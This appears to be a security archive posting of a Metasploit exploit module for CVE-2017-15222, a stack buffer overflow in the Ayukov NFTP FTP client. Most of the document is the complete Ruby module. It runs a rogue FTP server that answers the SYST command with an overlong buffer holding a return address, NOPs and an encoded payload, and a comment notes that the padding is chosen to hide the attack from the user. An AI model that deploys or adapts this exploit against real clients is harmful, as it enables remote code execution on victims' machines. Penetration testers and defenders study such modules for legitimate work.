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Ayukov NFTP FTP Client Buffer Overflow

Ayukov NFTP FTP Client Buffer Overflow
Posted Jan 5, 2018
Authored by sinn3r, Daniel Teixeira, Berk Cem Goksel | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP Client 2.0 and earlier. By responding with a long string of data for the SYST request, it is possible to cause a denial-of-service condition on the FTP client, or arbitrary remote code execution under the context of the user if successfully exploited.

tags | exploit, remote, overflow, arbitrary, code execution
advisories | CVE-2017-15222
MD5 | 586e39e9c2691a57d4f738d9226a1a4f

Ayukov NFTP FTP Client Buffer Overflow

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
code exeuction under the context of the user if successfully exploited.
},
'Author' =>
[
'Berk Cem Goksel', # Original exploit author
'Daniel Teixeira', # MSF module author
'sinn3r' # RCA, improved module reliability and user exp
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-15222'],
[ 'EDB', '43025' ],
],
'Payload' =>
{
'BadChars' => "\x00\x01\x0a\x10\x0d",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DisclosureDate' => 'Oct 21 2017',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
])
end

def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end

srv_port = datastore['SRVPORT']

print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected")

# Let the client log in
client.get_once

print_status("#{client.peerhost} - sending 331 OK")
user = "331 OK.\r\n"
client.put(user)

client.get_once
print_status("#{client.peerhost} - sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)

# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
# is visible from the user's command prompt, which would make the buffer overflow attack too
# obvious.
sploit = "\x20"*4116

sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
sploit << "\r\n"

print_status("#{client.peerhost} - sending the malicious response")
client.put(sploit)

client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once

end
end

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